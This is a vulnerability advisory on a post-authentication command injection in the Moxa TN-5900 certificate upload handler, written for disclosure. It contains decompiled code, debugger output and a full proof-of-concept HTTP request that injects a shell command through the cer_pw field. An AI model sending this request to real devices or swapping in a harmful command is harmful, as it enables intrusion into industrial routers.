Moxa TN-5900 Post Authentication Command Injection Vulnerability

Vulnerability Description

A user who has authenticated to the management web application is able to leverage a command injection vulnerability in the p12 processing code of the certificate management function web_CERMGMTUpload.

Technical Description

Following authentication, the webs_CERMGMTUpload API method becomes accessible. This method takes a multi-part HTTP POST request containing four parameters. The cer_pw parameter does not properly neutralize special elements used in operating system commands and therefore it is possible to include encapsulated commands to be executed. In the request below, the cer_pw parameter has been written such that when executed by the operating system a zero byte file will appear in the /tmp directory. See the Proof of Concept section.

The relevant pseudo-c for this API method is included below. The websGetVar function is used to retrieve the cer_pw parameter and copies the value into the pass variable. The opcode (mgmtmode) is then compared to the number 2 and when true will prepare a command to be passed to system using the sprintf function. When preparing this command, the pass variable (cer_pw) is included without prior first sanitizing the user input.

  void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) {
    ...
    __nptr = websGetVar(param_1,"mgmtmode",&DAT_120064f68);
    opcode = atoi(__nptr);
    __s = websGetVar(param_1,"cer_file",&DAT_120063dd0);
    local_338 = websGetVar(param_1,"cer_name",&DAT_120063dd0);
    if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 < lVar1)) {
      sVar2 = strlen(__s);
      if (CONCAT44(extraout_v0_hi,sVar2) < 0x41) {
        ...
        sVar4 = strlen(local_338);
        if (CONCAT44(extraout_v0_hi_00,sVar4) < 0x41) {
          ...
          if (opcode == 2) {
            memset(pass,0,0x41);
            __s = websGetVar(param_1,"cer_pw",&DAT_120063dd0);
            strncpy(pass,__s,0x20);
            ...
          }
          ...
          __fd = open(inFile,0x102);
          if (__fd < 0) {
            ...
          }
          else {
            sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39));
            ...
            else {
              if (opcode == 2) {
                outFile = FUN_120038e28(&local_159);
                snprintf(cmd,0x100,
                         "openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile
                         ,outFile,pass,pass);
                system(cmd);
                ...
              }
              ...
  }

Using a debugger we can see the command as it was programmatically created using our malicious input. This command is passed to the system function.

  (gdb) x/25s $a0
  0xfffbddb284:	"openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`"

The file has been created.

  # ls -la /tmp/korelogic
  -rwxr-xr-x    1 root     root          8072 Sep 23 20:30 korelogic

It should be noted that the cer_name is exploitable as well.

Mitigation and Remediation Recommendation

The vendor has released a patch which remediates the described vulnerability. Release notes are available at:

https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc.

Proof of Concept

POST /goform/web_CERMGMTUpload HTTP/1.1
Host: [redacted]:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
Content-Length: 605

-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="mgmtmode"

2
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_file";
Content-Type: text/plain

korelogic
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_name";
Content-Type: text/plain

test.p12
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_pw";

`touch /tmp/korelogic`
-----------------------------9051914041544843365972754266--

HTTP/1.1 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html

The contents of this advisory are copyright(c) 2022 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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